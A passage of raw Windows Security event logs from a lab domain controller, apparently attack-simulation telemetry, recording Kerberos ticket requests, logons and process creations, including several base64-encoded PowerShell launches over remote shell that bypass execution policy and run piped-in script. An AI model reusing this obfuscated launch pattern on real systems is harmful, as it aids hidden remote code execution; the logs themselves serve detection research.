ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e8 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x284 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x284 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x48c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253311 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D615 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253310 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D615 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253309 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253308 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253307 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253306 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10b4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253305 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x49c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253304 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D404 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253303 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D404 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253302 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253301 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F8047A9E-3108-E198-4B03-D5585BEA0F05} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253300 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253299 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19D1B0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11fc - New 